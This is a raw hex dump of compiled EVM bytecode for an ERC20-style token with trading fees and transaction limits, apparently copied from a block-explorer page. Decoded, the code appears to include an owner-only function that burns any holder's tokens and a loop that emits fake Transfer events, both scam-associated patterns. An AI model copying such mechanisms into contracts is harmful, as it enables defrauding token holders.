0008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006154b16036836140cd565b91506154bc82615455565b604082019050919050565b600060208201905081810360008301526154e0816154a4565b9050919050565b60006154f282614248565b91506154fd83614248565b9250828210156155105761550f614776565b5b828203905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006155776021836140cd565b91506155828261551b565b604082019050919050565b600060208201905081810360008301526155a68161556a565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006156096022836140cd565b9150615614826155ad565b604082019050919050565b60006020820190508181036000830152615638816155fc565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061569b6021836140cd565b91506156a68261563f565b604082019050919050565b600060208201905081810360008301526156ca8161568e565b9050919050565b600081905092915050565b50565b60006156ec6000836156d1565b91506156f7826156dc565b600082019050919050565b600061570d826156df565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050615755816141b9565b92915050565b6000602082840312156157715761577061417d565b5b600061577f84828501615746565b91505092915050565b6000819050919050565b60006157ad6157a86157a384615788565b6143af565b614248565b9050919050565b6157bd81615792565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6157f8816141a7565b82525050565b600061580a83836157ef565b60208301905092915050565b6000602082019050919050565b600061582e826157c3565b61583881856157ce565b9350615843836157df565b8060005b8381101561587457815161585b88826157fe565b975061586683615816565b925050600181019050615847565b5085935050505092915050565b600060a0820190506158966000830188614429565b6158a360208301876157b4565b81810360408301526158b58186615823565b90506158c46060830185614533565b6158d16080830184614429565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f372669a4116367437394f1cb26c52efec1793685dabb70cf4db02ca0d74a95b64736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106104095760003560e01c80638a8c523c11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610fa0578063f2fde38b14610fcb578063f637434214610ff4578063f8b45b051461101f578063fe72b27a1461104a57610410565b8063d85ba06314610ee2578063dd62ed3e14610f0d578063e2f4560514610f4a578063e884f26014610f7557610410565b8063c18bc195116100f2578063c18bc19514610dfd578063c2b7bbb614610e26578063c876d0b914610e4f578063c8c8ebe414610e7a578063d257b34f14610ea557610410565b8063bbbb3ffc14610d57578063bbc0c74214610d80578063c024666814610dab578063c17b5b8c14610dd457610410565b80639ec22c0e116101a6578063a457c2d711610175578063a457c2d714610c4c578063a4c82a0014610c89578063a9059cbb14610cb4578063aacebbe314610cf1578063b62496f514610d1a57610410565b80639ec22c0e14610ba25780639fccce3214610bcd578063a0d82dc514610bf8578063a165506f14610c2357610410565b8063924de9b7116101e2578063924de9b714610afa57806395d89b4114610b235780639c3b4fdc14610b4e5780639dc29fac14610b7957610410565b80638a8c523c14610a625780638da5cb5b14610a795780638ea5220f14610aa45780639213691314610acf57610410565b80632e82f1a0116103195780636fd7072a116102a1578063751039fc11610270578063751039fc1461098f5780637571336a146109ba57806375f0a874146109e35780637bce5a0414610a0e5780638095d56414610a3957610410565b80636fd7072a146108d557806370a0823114610912578063715018a61461094f578063730c18881461096657610410565b80633eb2b5ad116102e85780633eb2b5ad146107ee57806349bd5a5e146108175780634fbee193146108425780636a486a8e1461087f5780636ddd1713146108aa57610410565b80632e82f1a014610730578063313ce5671461075b5780633582ad231461078657806339509351146107b157610410565b8063184c16c51161039c578063203e727e1161036b578063203e727e1461064b57806323b872dd1461067457806326ededb8146106b157806327c8f835146106da5780632c3e486c1461070557610410565b8063184c16c51461059f578063199ffc72146105ca5780631a8145bb146105f55780631f3fed8f1461062057610410565b80631186b8d8116103d85780631186b8d8146104f75780631694505e1461052057806318160ddd1461054b5780631816467f1461057657610410565b806306fdde0314610415578063070789da14610440578063095ea7b31461047d57806310d5de53146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611087565b604051610437919061415b565b60405180910390f35b34801561044c57600080fd5b50610467600480360381019061046291906141e5565b611119565b604051610474919061422d565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061427e565b61116f565b6040516104b1919061422d565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906141e5565b61118d565b6040516104ee919061422d565b60405180910390f35b34801561050357600080fd5b5061051e6004803603810190610519919061434f565b6111ad565b005b34801561052c57600080fd5b5061053561125a565b604051610542919061440e565b60405180910390f35b34801561055757600080fd5b5061056061127e565b60405161056d9190614438565b60405180910390f35b34801561058257600080fd5b5061059d600480360381019061059891906141e5565b611288565b005b3480156105ab57600080fd5b506105b4611350565b6040516105c19190614438565b60405180910390f35b3480156105d657600080fd5b506105df611356565b6040516105ec9190614438565b60405180910390f35b34801561060157600080fd5b5061060a61135c565b6040516106179190614438565b60405180910390f35b34801561062c57600080fd5b50610635611362565b6040516106429190614438565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614453565b611368565b005b34801561068057600080fd5b5061069b60048036038101906106969190614480565b6113ff565b6040516106a8919061422d565b60405180910390f35b3480156106bd57600080fd5b506106d860048036038101906106d391906144d3565b6114d8565b005b3480156106e657600080fd5b506106ef6115b5565b6040516106fc9190614542565b60405180910390f35b34801561071157600080fd5b5061071a6115bb565b6040516107279190614438565b60405180910390f35b34801561073c57600080fd5b506107456115c1565b604051610752919061422d565b60405180910390f35b34801561076757600080fd5b506107706115d4565b60405161077d9190614579565b60405180910390f35b34801561079257600080fd5b5061079b6115dd565b6040516107a8919061422d565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d3919061427e565b6115f0565b6040516107e5919061422d565b60405180910390f35b3480156107fa57600080fd5b50610815600480360381019061081091906141e5565b6116a3565b005b34801561082357600080fd5b5061082c6116ef565b6040516108399190614542565b60405180910390f35b34801561084e57600080fd5b50610869600480360381019061086491906141e5565b611715565b604051610876919061422d565b60405180910390f35b34801561088b57600080fd5b5061089461176b565b6040516108a19190614438565b60405180910390f35b3480156108b657600080fd5b506108bf611771565b6040516108cc919061422d565b60405180910390f35b3480156108e157600080fd5b506108fc60048036038101906108f791906141e5565b611784565b604051610909919061422d565b60405180910390f35b34801561091e57600080fd5b50610939600480360381019061093491906141e5565b6117a4565b6040516109469190614438565b60405180910390f35b34801561095b57600080fd5b506109646117ed565b005b34801561097257600080fd5b5061098d60048036038101906109889190614594565b6118b3565b005b34801561099b57600080fd5b506109a461197f565b6040516109b1919061422d565b60405180910390f35b3480156109c657600080fd5b506109e160048036038101906109dc91906145e7565b6119ab565b005b3480156109ef57600080fd5b506109f8611a0e565b604051610a059190614542565b60405180910390f35b348015610a1a57600080fd5b50610a23611a34565b604051610a309190614438565b60405180910390f35b348015610a4557600080fd5b50610a606004803603810190610a5b9190614627565b611a3a565b005b348015610a6e57600080fd5b50610a77611ac5565b005b348015610a8557600080fd5b50610a8e611b0c565b604051610a9b9190614542565b60405180910390f35b348015610ab057600080fd5b50610ab9611b35565b604051610ac69190614542565b60405180910390f35b348015610adb57600080fd5b50610ae4611b5b565b604051610af19190614438565b60405180910390f35b348015610b0657600080fd5b50610b216004803603810190610b1c919061467a565b611b61565b005b348015610b2f57600080fd5b50610b38611b86565b604051610b45919061415b565b60405180910390f35b348015610b5a57600080fd5b50610b63611c18565b604051610b709190614438565b60405180910390f35b348015610b8557600080fd5b50610ba06004803603810190610b9b919061427e565b611c1e565b005b348015610bae57600080fd5b50610bb7611c34565b604051610bc49190614438565b60405180910390f35b348015610bd957600080fd5b50610be2611c3a565b604051610bef9190614438565b60405180910390f35b348015610c0457600080fd5b50610c0d611c40565b604051610c1a9190614438565b60405180910390f35b348015610c2f57600080fd5b50610c4a6004803603810190610c4591906146a7565b611c46565b005b348015610c5857600080fd5b50610c736004803603810190610c6e919061427e565b611c5c565b604051610c80919061422d565b60405180910390f35b348015610c9557600080fd5b50610c9e611d29565b604051610cab9190614438565b60405180910390f35b348015610cc057600080fd5b50610cdb6004803603810190610cd6919061427e565b611d2f565b604051610ce8919061422d565b60405180910390f35b348015610cfd57600080fd5b50610d186004803603810190610d1391906141e5565b611d4d565b005b348015610d2657600080fd5b50610d416004803603810190610d3c91906141e5565b611e15565b604051610d4e9190614542565b60405180910390f35b348015610d6357600080fd5b50610d7e6004803603810190610d7991906146a7565b611e48565b005b348015610d8c57600080fd5b50610d95611f2c565b604051610da2919061422d565b60405180910390f35b348015610db757600080fd5b50610dd26004803603810190610dcd91906145e7565b611f3f565b005b348015610de057600080fd5b50610dfb6004803603810190610df69190614627565b611ff0565b005b348015610e0957600080fd5b50610e246004803603810190610e1f9190614453565b61207b565b005b348015610e3257600080fd5b50610e4d6004803603810190610e4891906141e5565b61210e565b005b348015610e5b57600080fd5b50610e64612187565b604051610e71919061422d565b60405180910390f35b348015610e8657600080fd5b50610e8f61219a565b604051610e9c9190614438565b60405180910390f35b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614453565b6121a0565b604051610ed9919061422d565b60405180910390f35b348015610eee57600080fd5b50610ef7612281565b604051610f049190614438565b60405180910390f35b348015610f1957600080fd5b50610f346004803603810190610f2f91906146a7565b612287565b604051610f419190614438565b60405180910390f35b348015610f5657600080fd5b50610f5f61230e565b604051610f6c9190614438565b60405180910390f35b348015610f8157600080fd5b50610f8a612314565b604051610f97919061422d565b60405180910390f35b348015610fac57600080fd5b50610fb5612340565b604051610fc29190614438565b60405180910390f35b348015610fd757600080fd5b50610ff26004803603810190610fed91906141e5565b612346565b005b34801561100057600080fd5b5061100961247a565b6040516110169190614438565b60405180910390f35b34801561102b57600080fd5b50611034612480565b6040516110419190614438565b60405180910390f35b34801561105657600080fd5b50611071600480360381019061106c9190614453565b612486565b60405161107e919061422d565b60405180910390f35b60606006805461109690614716565b80601f01602080910402602001604051908101604052809291908181526020018280546110c290614716565b801561110f5780601f106110e45761010080835404028352916020019161110f565b820191906000526020600020905b8154815290600101906020018083116110f257829003601f168201915b5050505050905090565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061118361117c612781565b8484612789565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b6111b5612952565b60005b838390508110156112545781601660008686858181106111db576111da614747565b5b90506020020160208101906111f091906141e5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061124c906147a5565b9150506111b8565b50505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b611290612952565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b611370612952565b633b9aca006103e8600161138261127e565b61138c91906147ed565b6113969190614876565b6113a09190614876565b8110156113e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d990614919565b60405180910390fd5b670de0b6b3a7640000816113f691906147ed565b600b8190555050565b600061140c8484846129d0565b6114cd84611418612781565b6114c88560405180606001604052806028815260200161590260289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061147e612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f49092919063ffffffff16565b612789565b600190509392505050565b6114e0612952565b60005b838390508110156115af5783838281811061150157611500614747565b5b905060200201602081019061151691906141e5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115949190614438565b60405180910390a380806115a7906147a5565b9150506114e3565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b60006116996115fd612781565b84611694856003600061160e612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272390919063ffffffff16565b612789565b6001905092915050565b6116ab612952565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117f5612952565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118bb612952565b610258831015611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f7906149ab565b60405180910390fd5b6103e88211158015611913575060008210155b611952576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194990614a3d565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b6000611989612952565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6119b3612952565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b611a42612952565b826018819055508160198190555080601a81905550601a54601954601854611a6a9190614a5d565b611a749190614a5d565b60178190555060196017541115611ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab790614aff565b60405180910390fd5b505050565b611acd612952565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611b69612952565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611b9590614716565b80601f0160208091040260200160405190810160405280929190818152602001828054611bc190614716565b8015611c0e5780601f10611be357610100808354040283529160200191611c0e565b820191906000526020600020905b815481529060010190602001808311611bf157829003601f168201915b5050505050905090565b601a5481565b611c26612952565b611c308282613558565b5050565b60105481565b60215481565b601e5481565b611c4e612952565b611c588282611e48565b5050565b6000611d1f611c69612781565b84611d1a8560405180606001604052806025815260200161592a6025913960036000611c93612781565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f49092919063ffffffff16565b612789565b6001905092915050565b60145481565b6000611d43611d3c612781565b84846129d0565b6001905092915050565b611d55612952565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e50612952565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611f47612952565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611fe4919061422d565b60405180910390a25050565b611ff8612952565b82601c8190555081601d8190555080601e81905550601e54601d54601c546120209190614a5d565b61202a9190614a5d565b601b819055506063601b541115612076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206d90614b6b565b60405180910390fd5b505050565b612083612952565b633b9aca006103e8600561209561127e565b61209f91906147ed565b6120a99190614876565b6120b39190614876565b8110156120f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ec90614bfd565b60405180910390fd5b633b9aca008161210591906147ed565b600a8190555050565b612116612952565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612184600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119ab565b50565b602360009054906101000a900460ff1681565b600b5481565b60006121aa612952565b620186a060016121b861127e565b6121c291906147ed565b6121cc9190614876565b82101561220e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220590614c8f565b60405180910390fd5b6103e8600a61221b61127e565b61222591906147ed565b61222f9190614876565b821115612271576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226890614d21565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061231e612952565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b61234e612952565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b490614db3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b6000612490612952565b600f546010546124a09190614a5d565b42116124e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d890614e1f565b60405180910390fd5b6103e8821115612526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251d90614eb1565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161258a9190614542565b602060405180830381865afa1580156125a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125cb9190614ee6565b905060006125f66127106125e8868561372390919063ffffffff16565b61379d90919063ffffffff16565b9050600081111561263157612630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead836137e7565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156126ff57600080fd5b505af1158015612713573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846127329190614a5d565b905083811015612777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276e90614f5f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ef90614ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285e90615083565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129459190614438565b60405180910390a3505050565b61295a612781565b73ffffffffffffffffffffffffffffffffffffffff16612978613a7e565b73ffffffffffffffffffffffffffffffffffffffff16146129ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129c5906150ef565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3690615181565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa590615213565b60405180910390fd5b60008103612ac757612ac2838360006137e7565b6134ef565b601560009054906101000a900460ff16156130de57612ae4611b0c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612b525750612b22611b0c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b8b5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bc5575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bde5750600960149054906101000a900460ff16155b156130dd57601560019054906101000a900460ff16612cd857602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c985750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cce9061527f565b60405180910390fd5b5b602360009054906101000a900460ff1615612ea257612cf5611b0c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d7c57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612dd65750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612ea15743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e5390615337565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f9557600b54811115612f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f2f906153c9565b60405180910390fd5b600a54612f44836117a4565b82612f4f9190614a5d565b1115612f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f8790615435565b60405180910390fd5b6130dc565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661303057600b5481111561302b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613022906154c7565b60405180910390fd5b6130db565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166130da57600a5461308d836117a4565b826130989190614a5d565b11156130d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d090615435565b60405180910390fd5b5b5b5b5b5b60006130e9306117a4565b90506000600c54821015905080801561310e5750601560029054906101000a900460ff165b80156131275750600960149054906101000a900460ff16155b801561317d5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131d35750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613217576001600960146101000a81548160ff0219169083151502179055506131fb613a92565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156132405750601260009054906101000a900460ff165b156132505761324e85613c1a565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133065750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561331057600090505b600081156134df576000601b5411156133eb5761334b606461333d601b548861372390919063ffffffff16565b61379d90919063ffffffff16565b9050601b54601d548261335e91906147ed565b6133689190614876565b602060008282546133799190614a5d565b92505081905550601b54601e548261339191906147ed565b61339b9190614876565b602160008282546133ac9190614a5d565b92505081905550601b54601c54826133c491906147ed565b6133ce9190614876565b601f60008282546133df9190614a5d565b925050819055506134bb565b600060175411156134ba5761341e60646134106017548861372390919063ffffffff16565b61379d90919063ffffffff16565b90506017546019548261343191906147ed565b61343b9190614876565b6020600082825461344c9190614a5d565b92505081905550601754601a548261346491906147ed565b61346e9190614876565b6021600082825461347f9190614a5d565b925050819055506017546018548261349791906147ed565b6134a19190614876565b601f60008282546134b29190614a5d565b925050819055505b5b60008111156134d0576134cf8730836137e7565b5b80856134dc91906154e7565b94505b6134ea8787876137e7565b505050505b505050565b600083831115829061353c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613533919061415b565b60405180910390fd5b506000838561354b91906154e7565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036135c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135be9061558d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561364e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136459061561f565b60405180910390fd5b8160045461365c91906154e7565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546136b191906154e7565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516137169190614438565b60405180910390a3505050565b60008083036137355760009050613797565b6000828461374391906147ed565b90508284826137529190614876565b14613792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613789906156b1565b60405180910390fd5b809150505b92915050565b60006137df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cd8565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161384d90615181565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036138c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138bc90615213565b60405180910390fd5b6138d0838383613d3b565b61393c816040518060600160405280602681526020016158dc60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f49092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506139d181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613a719190614438565b60405180910390a3505050565b600080613a89613d40565b90508091505090565b6000613a9d306117a4565b90506000602154601f54602054613ab49190614a5d565b613abe9190614a5d565b9050600080831480613ad05750600082145b15613add57505050613c18565b6014600c54613aec91906147ed565b831115613b05576014600c54613b0291906147ed565b92505b600060028360205486613b1891906147ed565b613b229190614876565b613b2c9190614876565b90506000613b438286613de490919063ffffffff16565b90506000479050613b5382613e2e565b6000613b688247613de490919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60